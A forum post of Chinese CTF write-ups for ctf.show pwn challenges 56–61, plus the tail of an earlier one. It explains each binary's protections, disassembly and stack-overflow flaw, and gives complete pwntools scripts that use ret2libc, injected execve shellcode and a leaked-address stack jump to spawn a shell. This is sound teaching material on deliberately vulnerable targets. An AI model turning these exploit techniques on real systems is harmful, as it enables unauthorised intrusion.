    跟进一下看一下flag_func1函数

    Elf32_Dyn **flag_func1()
    {
      Elf32_Dyn **result; // eax
    
      result = &GLOBAL_OFFSET_TABLE_;
      flag1 = 1;
      return result;
    }

    这里直接将flag1置为1,即永远是真的。接着看flag_func2函数

    Elf32_Dyn **__cdecl flag_func2(int a1)
    {
      Elf32_Dyn **result; // eax
    
      result = &GLOBAL_OFFSET_TABLE_;
      if ( flag1 && a1 == -1397969748 )
      {
        flag2 = 1;
      }
      else if ( flag1 )
      {
        return (Elf32_Dyn **)puts("Try Again.");
      }
      else
      {
        return (Elf32_Dyn **)puts("Try a little bit.");
      }
      return result;
    }

    逻辑很简单flag1a1=-1397969748两个都为真的话将flag2也设置为真,否则的话输出重新尝试。

    payload及获取flag

    这里的两个a1是int类型的,转换为16进制为0xACACACAC0XBDBDBDBD。没有开启PIE和栈保护,直接编写脚本

    from pwn import *
    io=remote("pwn.challenge.ctf.show",28244)
    elf=ELF("./pwn")
    flag1=elf.sym['flag_func1']
    flag2=elf.sym['flag_func2']
    flag=elf.sym['flag']
    flag2_a1= 0xACACACAC
    flag_a1= 0XBDBDBDBD
    payload=b'a'*(0x2C+4)+p32(flag1)+p32(flag2)+p32(flag)+p32(flag2_a1)+p32(flag_a1)
    io.sendline(payload)
    io.interactive()

    这里也可以使用我们之前的方法,构造shell来获取flag。

    from pwn import *
    from LibcSearcher import *
    #context(arch='i386',os='linux',log_level='debug')
    io=remote("pwn.challenge.ctf.show",28244)
    elf=ELF("./pwn")
    puts_plt_adder=elf.plt['puts']
    puts_got_adder=elf.got['puts']
    main=elf.sym['main']
    payload=b'a'*(0x2C+4)+p32(puts_plt_adder)+p32(main)+p32(puts_got_adder)
    io.sendline(payload)
    puts=u32(io.recvuntil(b'\xf7')[-4:])
    libc=LibcSearcher("puts",puts)
    libc_base=puts-libc.dump("puts")
    system_adder=libc_base+libc.dump("system")
    bin_sh_adder=libc_base+libc.dump("str_bin_sh")
    payload=b'a'*(0x2C+4)+p32(system_adder)+p32(0)+p32(bin_sh_adder)
    io.sendline(payload)
    io.interactive()

    PWN 56

    分析一下

    check一下

    下载附件先check一下

    ➜  pwn56 checksec pwn 
    
  • '/home/p0ach1l/Desktop/test/pwn56/pwn'     Arch:       i386-32-little     RELRO:      No RELRO     Stack:      No canary found     NX:         NX disabled     PIE:        No PIE (0x8048000)     Stripped:   No
  • 32位小端序,RELRO: NO RELRO:RELRP保护没有开启。Stack:No Canary found:栈上没有金丝雀保护,存在栈溢出时可以直接使用。NX:NX disabled:数据执行保护没有开启,堆和栈上的数据可以直接运行。PIE:No PIE (0x8048000):地址随机化没有开启。Stripped:No:符号表没有剥离。

    IDA看看

    拖入32位IDA中进行查看,只有一个start函数

    void __noreturn start()
    {
      int v0; // eax
      char v1[10]; // [esp-Ch] [ebp-Ch] BYREF
      __int16 v2; // [esp-2h] [ebp-2h]
    
      v2 = 0;
      strcpy(v1, "/bin///sh");
      v0 = sys_execve(v1, 0, 0);
    }

    很明显直接给了一个shell,连接题目环境就能获取flag,这道题目主要是为了让我们了解一下shellcode。查看函数对应的汇编代码

    push    0x68
    push    0x732F2F2F
    push    0x6E69622F
    mov     ebx, esp        
    xor     ecx, ecx        
    xor     edx, edx        
    push    0xB
    pop     eax
    int     0x80             

    这段代码是x86汇编代码,用于在Linux系统上执行一个系统调用来执行execve("/bin/sh", NULL, NULL)

    push    0x68

    这行代码将十六进制值0x68(104的十进制表示)压入栈中。这是为了将后续的字符串/bin/sh的长度(11个字符)放入栈中,以便后续使用。

    push    0x732F2F2F

    这行代码将十六进制值0x732F2F2F压入栈中。这是字符串"/bin/sh"的前半部分字符的逆序表示,即sh//。因为x86架构是小端字节序的,字符串需要以逆序方式存储在内存中。

    push    0x6E69622F

    这行代码将十六进制值0x6E69622F压入栈中。这是字符串 "/bin/sh" 的后半部分字符的逆序表示,即/bin

    mov     ebx, esp 

    这行代码将栈顶的地址(即字符串"/bin/sh"的起始地址)复制给寄存器 ebxebx寄存器将用作execve系统调用的第一个参数,即要执行的可执行文件的路径。

    xor     ecx, ecx        
    xor     edx, edx   

    这两行代码使用异或操作将ecxedx寄存器的值设置为零。ecxedx分别将用作execve系统调用的第二个和第三个参数,即命令行参数和环境变量。在此情况下,我们将它们设置为NULL,表示没有命令行参数和环境变量。

    push    0xB
    pop     eax

    这两行代码将值11(0xb)压入栈中,然后从栈中弹出到寄存器eaxeax寄存器将用作系统调用号,11表示execve系统调用的系统调用号。

    int     0x80  

    这行代码触发中断0x80,这是Linux系统中用于执行系统调用的中断指令。通过设置适当的寄存器值(eaxebxecxedx),int 0x80指令将执行execve("/bin/sh", NULL, NULL)系统调用,从而启动一个新的shell进程。

    /bin的逆序表示为什么是0x6E69622F?

    这里表示字符的话需要先转换位ASCLL码,使用16进制表示的是

    0x2F 0x62 0x69 0x6E
    /    b     i    n

    又因为这是x86架构,x86架构是小端序,数据的低字节存到内存低地址,高字节存到内存高地址。栈的生长方向是高地址→低地址,当我们连续push4字节的十六进制数时,最终栈中会按后 push 的数据在低地址、先 push 的在高地址排列,刚好和小端序配合,拼出正常的字符串。所以这里的字符串进行倒序即先将n存入栈中。

    payload及获取flag

    不使用脚本直接nc也可以,使用脚本也可以,很简单

    from pwn import *
    io=remote("pwn.challenge.ctf.show",28138)
    io.interactive()

    PWN 57

    分析一下

    check一下

    下载附件先check一下,

    ➜  pwn57 checksec pwn 
    
  • '/home/p0ach1l/Desktop/test/pwn57/pwn'     Arch:       amd64-64-little     RELRO:      No RELRO     Stack:      No canary found     NX:         NX unknown - GNU_STACK missing     PIE:        No PIE (0x400000)     Stack:      Executable     Stripped:   No
  • 64小端序,RELRO: NO RELRO:RELRP保护没有开启。Stack:No Canary found:栈上没有金丝雀保护,存在栈溢出时可以直接使用。NX:NX unknown - GNU_STACK missing:文件没有GNU_STACK程序头,数据可以不可以执行处于未知状态。PIE:No PIE (0x400000):地址随机化没有开启。Stack:Executable:栈内存具有执行权限。Stripped:No:符号表没有剥离。

    IDA看看

    拖入64位IDA中进行查看,依旧只有一个函数

    void __noreturn start()
    {
      __asm { syscall; LINUX - }
    }

    触发64位Linux系统调用的底层入口,核心动作是执行 syscall,且不会返回。没有太看明白这个函数做了什么,这个时候依旧去看它的汇编代码

    push    rax
    xor     rdx, rdx
    xor     rsi, rsi
    mov     rbx, 68732F2F6E69622Fh
    push    rbx
    push    rsp
    pop     rdi
    mov     al, 3Bh 
    syscall

    这里的68732F2F6E69622F转换为字符串是hs//nib/,依旧是倒序的,转换一下

    push    rax
    xor     rdx, rdx
    xor     rsi, rsi
    mov     rbx, '/bin//sh'
    push    rbx
    push    rsp
    pop     rdi
    mov     al, 59 
    syscall

    这段代码是x86-64汇编语言的代码,用于在Linux系统上执行 execve("/bin/sh",NULL,NULL)

    push    rax

    rax寄存器的值(通常用于存放函数返回值)压入栈中。这里的目的是保留rax的值,以便后续使用。

    xor     rdx, rdx
    xor     rsi, rsi

    通过异或的操作将rdxrsi寄存器的值设置为0,后面将会分别作为execve系统调用函数的第二和第三个参数,即环境变量和命令行参数。我们将它们设置为NULL,表示没有环境变量和命令行参数。

    mov     rbx, '/bin//sh'

    将字符串'/bin//sh'的地址赋值给rbx的寄存器,字符串'/bin//sh'是我们要执行的可执行文件的路径。在x86-64汇编中,字符串被当作地址处理。
    (:这里的/bin//sh是倒装的为了方便,我这里把它换过来了,至于为什么是倒装的上面解释过这里就不在重复了)。

    push    rbx

    rbx寄存器的值(字符串'/bin//sh'的地址)压入栈中。这是为了将可执行文件路径传递给execve系统调用的第一个参数。

    push    rsp
    pop     rdi

    将栈顶的地址(即字符串'/bin//sh'的地址)弹出到rdi寄存器。 rdi寄存器将用作execve系统调用的第一个参数,即可执行文件路径。

    mov     al, 59 

    al寄存器设置为值59,59是execve系统调用的系统调用号。

    syscall

    触发系统调用,通过设置寄存器的值,syscall指令将执行execve("/bin/sh",NULL,NULL)系统调用,来启动一个新的shell进程。

    payload及获取flag

    题目连接就会直接给shell,直接获取即可,使用脚本也可以

    from pwn import *
    io=remote("pwn.challenge.ctf.show",28293)
    io.interactive()

    PWN 58

    分析一下

    check一下

    下载附件先check一下看看

    ➜  pwn58 checksec pwn 
    
  • '/home/p0ach1l/Desktop/test/pwn58/pwn'     Arch:       i386-32-little     RELRO:      Partial RELRO     Stack:      No canary found     NX:         NX unknown - GNU_STACK missing     PIE:        No PIE (0x8048000)     Stack:      Executable     RWX:        Has RWX segments     Stripped:   No
  • 32位小端序,RELRO:Partial RELRO:RELRP部分保护开启,部分重定位只读,GOT表可写,PLT表只读。Stack:No canary found:栈上没有金丝雀保护,存在栈溢出时可以直接使用。NX:NX unknown - GNU_STACK missing:文件没有GNU_STACK程序头,数据可以不可以执行处于未知状态。PIE: No PIE (0x8048000):地址随机化没有开启。Stack:Executable:栈内存具有执行权限。RWX:Has RWX segments:程序中存在可读可写可执行的段。Stripped:No:符号表没有剥离。

    IDA看看

    拖入32位IDA进行查看,发现无法进行反编译,报错显示80486E0调用分析失败,直接看汇编代码吧

    main proc near
        lea     ecx, [esp+4]
        and     esp, 0FFFFFFF0h
        push    dword ptr [ecx-4]
        push    ebp
        mov     ebp, esp
        push    ebx
        push    ecx
        sub     esp, 0A0h
        call    __x86_get_pc_thunk_bx
        add     ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)
        mov     eax, ds:(stdout_ptr - 804A000h)[ebx]
        mov     eax, [eax]
        push    0
        push    2
        push    0
        push    eax
        call    _setvbuf
        add     esp, 10h
        call    _getegid
        mov     [ebp+var_C], eax
        sub     esp, 4
        push    [ebp+var_C]
        push    [ebp+var_C]
        push    [ebp+var_C]
        call    _setresgid
        add     esp, 10h
        call    logo
        sub     esp, 0Ch
        lea     eax, (aJustVeryEasyRe - 804A000h)[ebx]
        push    eax
        call    _puts
        add     esp, 10h
        sub     esp, 0Ch
        lea     eax, (aAttachIt - 804A000h)[ebx]
        push    eax
        call    _puts
        add     esp, 10h
        sub     esp, 0Ch
        lea     eax, [ebp+s]
        push    eax
        call    ctfshow
        add     esp, 10h
        lea     eax, [ebp+s]
        call    eax
        mov     eax, 0
        lea     esp, [ebp-8]
        pop     ecx
        pop     ebx
        pop    ebp
        lea     esp, [ecx-4]
        retn
    main endp

    大致看一下能看出来,跟之前的一样先调用logo函数再调用ctfshow函数,编译失败的原因是.text:080486E0 call    eax这是一个动态的间接调用,IDA无法在静态分析时确定目标地址。按U取消当前定义,接着就可以正常进行反编译了。或者点击其他函数按在进行反汇编

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      char s[148]; // [esp+0h] [ebp-A0h] BYREF
      __gid_t v5; // [esp+94h] [ebp-Ch]
      int *p_argc; // [esp+98h] [ebp-8h]
    
      p_argc = &argc;
      setvbuf(stdout, 0, 2, 0);
      v5 = getegid();
      setresgid(v5, v5, v5);
      logo();
      puts("Just very easy ret2shellcode&&32bit");
      puts("Attach it!");
      ctfshow(s);
      JUMPOUT(0x80486E0);
    }

    可以看到main函数最后是JUMPOUT(0x80486E0);是 Hex-Rays 反编译器对call eax指令的特殊表示,意味着程序跳转到一个动态计算的地址执行。看反编译出来的结果跟我们之前分析的差不多,主要就是打印logo以及提示Use shellcode to get shell!:使用shellcode来获取shell。接着使用puts函数输出Just very easy ret2shellcode&&32bitAttach it!,接着调用ctfshow函数处理ss是一个起始地址距离栈基址ebp偏移了0xA0个字节大小为148字节的字符数组。
    跟进分析一下ctfshow函数

    int __cdecl ctfshow(char *s)
    {
      gets(s);
      return puts(s);
    }

    使用gets函数向s写入数据,gets函数不会验证大小,明显的栈溢出,接着返回并使用puts函数输出s。接着看看有没有后门函数存在,没有发现后门函数看一下ctfshow函数的汇编代码

    .text:08048516 ; __unwind {
    .text:08048516                 push    ebp
    .text:08048517                 mov     ebp, esp
    .text:08048519                 push    ebx
    .text:0804851A                 sub     esp, 4
    .text:0804851D                 call    __x86_get_pc_thunk_bx
    .text:08048522                 add     ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)
    .text:08048528                 sub     esp, 0Ch
    .text:0804852B                 push    [ebp+s]         ; s
    .text:0804852E                 call    _gets
    .text:08048533                 add     esp, 10h
    .text:08048536                 sub     esp, 0Ch
    .text:08048539                 push    [ebp+s]         ; s
    .text:0804853C                 call    _puts
    .text:08048541                 add     esp, 10h
    .text:08048544                 nop
    .text:08048545                 mov     ebx, [ebp+var_4]
    .text:08048548                 leave
    .text:08048549                 retn
    .text:08048549 ; } // starts at 8048516
    .text:08048549 ctfshow         endp

    可以看到对gets函数的调用,参数对应的是[ebp+s]的地址,返回地址上一栈内存单元处,对应主函数中,我们可以看到:

        lea     eax, [ebp+s]
        push    eax
        call    ctfshow
        add     esp, 10h
        lea     eax, [ebp+s]
        call    eax

    gets函数写入的地址即为[ebp+s]对应的地址,后面lea     eax, [ebp+s]将将[ebp+s]地址加载到eax寄存器中。接着call eax调用eax寄存器指向的地址(也就是[ebp+s]地址)执行。所以我们只要输入shellcode,函数便会调用执行。

    payload及获取flag

    from pwn import *
    context(arch='i386',os='linux',log_level='debug')
    io=remote("pwn.challenge.ctf.show",28200)
    payload=asm(shellcraft.sh())
    io.sendline(payload)
    io.interactive()

    PWN 59

    分析一下

    check一下

    下载附件先check一下

    ➜  pwn59 checksec pwn 
    
  • '/home/p0ach1l/Desktop/test/pwn59/pwn'     Arch:       amd64-64-little     RELRO:      Partial RELRO     Stack:      No canary found     NX:         NX unknown - GNU_STACK missing     PIE:        No PIE (0x400000)     Stack:      Executable     RWX:        Has RWX segments     Stripped:   No
  • 64位小端序,RELRO:Partial RELRO:RELRP部分保护开启,部分重定位只读,GOT表可写,PLT表只读。Stack:No canary found:栈上没有金丝雀保护,存在栈溢出时可以直接使用。NX:NX unknown - GNU_STACK missing:文件没有GNU_STACK程序头,数据可以不可以执行处于未知状态。PIE: No PIE (0x400000):地址随机化没有开启。Stack:Executable:栈内存具有执行权限。RWX:Has RWX segments:程序中存在可读可写可执行的段。Stripped:No:符号表没有剥离。

    IDA看看

    拖入64位IDA中进行查看,直接依旧无法直接反编译,显示4006F9:调用分析失败,先看看反汇编吧

    main proc near
        push    rbp
        mov     rbp, rsp
        sub     rsp, 0B0h
        mov     [rbp+var_A4], edi
        mov     [rbp+var_B0], rsi
        mov     rax, cs:__bss_start
        mov     ecx, 0
        mov     edx, 2
        mov     esi, 0
        mov     rdi, rax
        call    _setvbuf
        mov     eax, 0
        call    logo
        lea     rdi, aJustVeryEasyRe
        call    _puts
        lea     rdi, aAttachIt
        call    _puts
        lea     rax, [rbp+var_A0]
        mov     rdi, rax
        call    ctfshow
        lea     rdx, [rbp+var_A0]
        mov     eax, 0
        call    rdx
        mov     eax, 0
        leave
        retn
    main endp

    处理一下报错的call    rdx,后重新进行反编译

    int __fastcall main(int argc, const char **argv, const char **envp)
    {
      char v4[160]; // [rsp+10h] [rbp-A0h] BYREF
    
      setvbuf(_bss_start, 0LL, 2, 0LL);
      logo();
      puts("Just very easy ret2shellcode&&64bit");
      puts("Attach it!");
      ctfshow(v4);
      JUMPOUT(0x4006F9LL);
    }

    定义了一个大小为160字节的v4,起始地址距离栈基址rbp偏移了0xA0个字节,接着打印logo,并输出提示信息Use shellcode to get shell!:使用shellcode来获取shell,接着使用puts函数输出Just very easy ret2shellcode&&64bit以及Attach it!。接着使用ctfshow函数处理v4,最后依旧是JUMPOUT(0x4006F9LL);
    接着跟进分析一下ctfshow函数

    int __fastcall ctfshow(const char *a1)
    {
      gets(a1);
      return puts(a1);
    }

    使用gets函数读取输入写入到a1,接着返回a1,这里的a1就是之前的v4。看一下汇编代码

    .text:00000000004005B7                 push    rbp
    .text:00000000004005B8                 mov     rbp, rsp
    .text:00000000004005BB                 sub     rsp, 10h
    .text:00000000004005BF                 mov     [rbp+s], rdi
    .text:00000000004005C3                 mov     rax, [rbp+s]
    .text:00000000004005C7                 mov     rdi, rax
    .text:00000000004005CA                 mov     eax, 0
    .text:00000000004005CF                 call    _gets
    .text:00000000004005D4                 mov     rax, [rbp+s]
    .text:00000000004005D8                 mov     rdi, rax        ; s
    .text:00000000004005DB                 call    _puts
    .text:00000000004005E0                 nop
    .text:00000000004005E1                 leave
    .text:00000000004005E2                 retn
    .text:00000000004005E2 ; } // starts at 4005B7
    .text:00000000004005E2 ctfshow         endp

    可以看到gets函数的调用,后面会将[rbp+s]作为gets函数和puts函数的参数,返回的话还是回到main函数,跟进main函数的汇编代码

        lea     rax, [rbp+var_A0]
        mov     rdi, rax
        call    ctfshow
        lea     rdx, [rbp+var_A0]
        mov     eax, 0
        call    rdx

    [rbp+s]对应这里的[rbp+var_A0],接着call rdx调用rdx寄存器指向的地址(也就是[rbp+s]地址)执行。所以我们只要输入shellcode,函数便会调用执行。

    payload及获取flag

    栈上数据可以执行,直接使用asm(shellcraft.sh())生成shellcode即可

    from pwn import *
    context(arch = 'amd64',os = 'linux',log_level = 'debug')
    io=remote("pwn.challenge.ctf.show",28201)
    payload=asm(shellcraft.sh())
    io.sendline(payload)
    io.interactive()

    这里要明确写出系统的架构,否则使用asm(shellcraft.sh())生成的shellcode会因为不适配而无法正常获取shell。

    PWN 60

    分析一下

    check一下

    下载附件先check一下

    ➜  pwn60 checksec pwn 
    
  • '/home/p0ach1l/Desktop/test/pwn60/pwn'     Arch:       i386-32-little     RELRO:      Partial RELRO     Stack:      No canary found     NX:         NX unknown - GNU_STACK missing     PIE:        No PIE (0x8048000)     Stack:      Executable     RWX:        Has RWX segments     Stripped:   No     Debuginfo:  Yes
  • 32位小端序,RELRO:Partial RELRO:RELRP部分保护开启,部分重定位只读,GOT表可写,PLT表只读。Stack:No canary found:栈上没有金丝雀保护,存在栈溢出时可以直接使用。NX:NX unknown - GNU_STACK missing:文件没有GNU_STACK程序头,数据可以不可以执行处于未知状态。PIE: No PIE (0x8048000):地址随机化没有开启。Stack:Executable:栈内存具有执行权限。RWX:Has RWX segments:程序中存在可读可写可执行的段。Stripped:No:符号表没有剥离。Debuginfo:Yes:表示二进制文件中包含了调试信息。

    IDA看看

    拖入64位IDA中进行查看,先看看main函数

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      char s[100]; // [esp+1Ch] [ebp-64h] BYREF
    
      setvbuf(stdout, 0, 2, 0);
      setvbuf(stdin, 0, 1, 0);
      puts("CTFshow-pwn can u pwn me here!!");
      gets(s);
      strncpy(buf2, s, 0x64u);
      printf("See you ~");
      return 0;
    }

    定义了一个大小为100字节的字符数组s,起始地址距离栈基址ebp偏移了0x64个字节,接着设置标准流缓冲模式,使用puts函数输出CTFshow-pwn can u pwn me here!!:CTFshow-pwn你能在这里pwn我吗!!,接着使用gets函数向从输入向s写入数据,很明显的栈溢出,使用strncpys中的0x64个字节复制到buf2缓冲区中,接着使用printf函数输出See you ~。跟进一下

    .bss:0804A080                 public buf2
    .bss:0804A080 ; char buf2[100]
    .bss:0804A080 buf2            db 64h dup(?)           ; DATA XREF: main+7B↑o
    .bss:0804A080 _bss            ends
    .bss:0804A080

    可以看到buf2bss段,使用gdb调试一下看看bss段的权限,

    pwndbg> vmmap
    LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
     0x8048000  0x8049000 r-xp     1000 0      /home/ctfshow/Desktop/910/pwn
     0x8049000  0x804a000 r-xp     1000 0      /home/ctfshow/Desktop/910/pwn
     0x804a000  0x804b000 rwxp     1000 1000   /home/ctfshow/Desktop/910/pwn
     0x804b000  0x806d000 rwxp    22000 0      [heap]
    0xf7dd4000 0xf7fa9000 r-xp   1d5000 0      /lib/i386-linux-gnu/libc-2.27.so
    0xf7fa9000 0xf7faa000 ---p     1000 1d5000 /lib/i386-linux-gnu/libc-2.27.so
    0xf7faa000 0xf7fac000 r-xp     2000 1d5000 /lib/i386-linux-gnu/libc-2.27.so
    0xf7fac000 0xf7fad000 rwxp     1000 1d7000 /lib/i386-linux-gnu/libc-2.27.so
    0xf7fad000 0xf7fb0000 rwxp     3000 0      
    0xf7fcf000 0xf7fd1000 rwxp     2000 0      
    0xf7fd1000 0xf7fd4000 r--p     3000 0      [vvar]
    0xf7fd4000 0xf7fd6000 r-xp     2000 0      [vdso]
    0xf7fd6000 0xf7ffc000 r-xp    26000 0      /lib/i386-linux-gnu/ld-2.27.so
    0xf7ffc000 0xf7ffd000 r-xp     1000 25000  /lib/i386-linux-gnu/ld-2.27.so
    0xf7ffd000 0xf7ffe000 rwxp     1000 26000  /lib/i386-linux-gnu/ld-2.27.so
    0xfffdd000 0xffffe000 rwxp    21000 0      [stack]

    可以看到bss段可读可写可执行,我们现在要做的就是使用栈溢出覆盖到eip指令指针寄存器,后面直接跟上bss段使其执行我们写入bss段的shellcode,使用gdb确定一下偏移。
    先设置一个断点,接着使用cyclic生成一个超长的字符串,然后看此时eip寄存器中的值来计算偏移。

    cyclic 200;

    接着在gdb中运行程序,输入我们生成的字符串,查看此时的寄存器

    LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    ─────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────
     EAX  0x0
     EBX  0x0
     ECX  0x9
     EDX  0xf7fad890 (_IO_stdfile_1_lock) ◂— 0
     EDI  0x0
     ESI  0xf7fac000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
     EBP  0x62616163 ('caab')
     ESP  0xffffcea0 ◂— 'eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
     EIP  0x62616164 ('daab')

    接着计算偏移量

    ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
    pwndbg> cyclic -l 0x62616164
    112
    pwndbg> 

    得出偏移量为112。

    payload及获取flag

    首先我们需要将shellcode先写入buf2,在用a填充到112个字节,这里使用ljust进行左对齐,会在末尾加a补齐到112个字节。

    from pwn import *
    io=remote("pwn.challenge.ctf.show",28177)
    buf_adder=0x804A080
    shellcode=asm(shellcraft.sh())
    payload=shellcode.ljust(112,b'a')+p32(buf_adder)
    io.sendline(payload)
    io.interactive()

    运行即可成功获取shell。

    PWN 61

    分析一下

    check一下

    下载附件先check一下

    ➜  pwn61 checksec pwn 
    
  • '/home/p0ach1l/Desktop/test/pwn61/pwn'     Arch:       amd64-64-little     RELRO:      Partial RELRO     Stack:      No canary found     NX:         NX unknown - GNU_STACK missing     PIE:        PIE enabled     Stack:      Executable     RWX:        Has RWX segments     Stripped:   No
  • 64位小端序,RELRO:Partial RELRO:RELRP部分保护开启,部分重定位只读,GOT表可写,PLT表只读。Stack:No canary found:栈上没有金丝雀保护,存在栈溢出时可以直接使用。NX:NX unknown - GNU_STACK missing:文件没有GNU_STACK程序头,数据可以不可以执行处于未知状态。PIE: PIE enabled:地址随机化开启。Stack:Executable:栈内存具有执行权限。RWX:Has RWX segments:程序中存在可读可写可执行的段。Stripped:No:符号表没有剥离。

    IDA看看

    拖入64位IDA中进行查看, 先看看main函数

    int __fastcall main(int argc, const char **argv, const char **envp)
    {
      FILE *v3; // rdi
      __int64 v5[2]; // [rsp+0h] [rbp-10h] BYREF
    
      v5[0] = 0LL;
      v5[1] = 0LL;
      v3 = _bss_start;
      setvbuf(_bss_start, 0LL, 1, 0LL);
      logo(v3, 0LL);
      puts("Welcome to CTFshow!");
      printf("What's this : [%p] ?\n", v5);
      puts("Maybe it's useful ! But how to use it?");
      gets(v5);
      return 0;
    }

    定义了一个文件变量v3,定义了一个包含两个int类型元素的数组v5,将数组v5中的两个元素初始化为0,接着进行标准I/O缓冲的设置,打印logo函数,接着使用puts函数输出Welcome to CTFshow!,接着使用printf输出What's this : [%p] ?\n,这里的%p会显示为v5的地址并输出,因为程序开启了PIE(地址随机化),也就是每次代码的地址都不固定,会进行变动。接着使用puts函数输出Maybe it's useful ! But how to use it?:它可能是有用的,但是如何使用它。接着使用gets函数向v5写入数据,明显存在栈溢出。查看一下其他函数,没有什么有用信息,接着看一下main函数的汇编代码

    main proc near
        push    rbp
        mov     rbp, rsp
        sub     rsp, 10h
        mov     [rbp+var_10], 0
        mov     [rbp+var_8], 0
        mov     rax, cs:__bss_start
        mov     ecx, 0
        mov     edx, 1
        mov     esi, 0
        mov     rdi, rax
        call    _setvbuf
        mov     eax, 0
        call    logo
        lea     rdi, aWelcomeToCtfsh
        call    _puts
        lea     rax, [rbp+var_10]
        mov     rsi, rax
        lea     rdi, format
        mov     eax, 0
        call    _printf
        lea     rdi, aMaybeItSUseful
        call    _puts
        lea     rax, [rbp+var_10]
        mov     rdi, rax
        mov     eax, 0
        call    _gets
        mov     eax, 0
        leave
        retn
    main endp

    leave可以等价于

    mov     rsp, rbp  
    pop     rbp      

    会释放栈空间,
    汇编代码中栈帧的关键操作:

    push rbp ; 1. 保存上一层函数的BP(记为“old_rbp”)到栈中 
    mov rbp, rsp ; 2. 用当前SP作为当前函数的BP(栈基址固定) 
    sub rsp, 10h ; 3. 分配16字节(0x10)栈空间,用于存储局部变量v5[2]

    此时的栈布局:

    栈地址(相对栈基址rbp) 存储内容 说明
    [rbp] old_rbp(上一层函数的rbp) 由 push rbp 保存
    [rbp-8] v5[1](局部变量第2个元素) 64 位系统中,每个元素 8 字节
    [rbp-16] v5[0](局部变量第1个元素) 64 位系统中,每个元素 8 字节两个局部变量总共占用0x10也就是16个字节
    [rsp] 指向v5[0](rbp-16) rsp初始在栈顶(局部变量最低地址)

    leave执行时分为两步,第一步 mov rsp, rbprsp直接跳到rbp的位置(此时rsp指向 old_rbp);原本v5所在的[rbp-16, rbp-1]区域,现在处于rsp之下;第二步pop rbpold_rbp弹回rbp寄存器,rsp再向上移动8字节
    看一下我们的shellcode,使用shellcraft.sh()生成(:指定架构)

        /* execve(path='/bin///sh', argv=['sh'], envp=0) */
        /* push b'/bin///sh\x00' */
        push 0x68
        mov rax, 0x732f2f2f6e69622f
        push rax
        mov rdi, rsp
        /* push argument array ['sh\x00'] */
        /* push b'sh\x00' */
        push 0x1010101 ^ 0x6873
        xor dword ptr [rsp], 0x1010101
        xor esi, esi /* 0 */
        push rsi /* null terminate */
        push 8
        pop rsi
        add rsi, rsp
        push rsi /* 'sh\x00' */
        mov rsi, rsp
        xor edx, edx /* 0 */
        /* call execve() */
        push SYS_execve /* 0x3b */
        pop rax
        syscall

    可以看到我们的shellcodersp寄存器进行了操作,所以leave函数会对我们的shellcode造成影响。如何摆脱leave的影响呢?
    由上面的栈分析我们可以知道v5区域([rbp-16, rbp-1])被释放,后续shellcode执行时的push操作会覆盖这里,所以v5区域不能存放shellcode,old_rbp区域([rbp])被pop rbp读取,覆盖会导致rbp异常,所以v5后8字节(old_rbp)不能放 shellcode;最终rsp指向返回地址([rbp+8]),这里需要存shellcode的地址,所以返回地址区(8 字节)也不能放shellcode;那么最终shellcode的地址也就是v5起始地址后的16(v5区域的大小)+8(old_rbp的8个字节)+8(返回地址占用的8个字节)。

    payload及获取flag

    from pwn import *
    context(arch='amd64')
    io=remote("pwn.challenge.ctf.show",28163)
    shellcode=asm(shellcraft.sh())
    io.recvuntil('[')
    v5_str=io.recvuntil(']',drop=True)
    v5_adder= int(v5_str, 16) 
    payload=b'a'*(0x10+8)+p64(v5_adder+32)+shellcode
    io.sendline(payload)
    io.interactive()

    v5_adder= int(v5_str, 16)其从“十六进制字符串”转换为 “整数类型地址”。

    免费评分

    参与人数 1热心值 +1 收起 理由
    xh16472 + 1 我很赞同!

    查看全部评分

    发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

    沙发
    zhangzhibo139 发表于 2026-3-25 22:27
    刚从1转过来,感谢大佬分享
    3#
    skycg 发表于 2026-3-25 22:51
    4#
    tingfengkanhai 发表于 2026-3-26 00:08
    您需要登录后才可以回帖 登录 | 注册[Register]

    本版积分规则

    返回列表

    RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - 52pojie.cn ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

    GMT+8, 2026-3-26 01:01

    Powered by Discuz!

    Copyright © 2001-2020, Tencent Cloud.

    快速回复 返回顶部 返回列表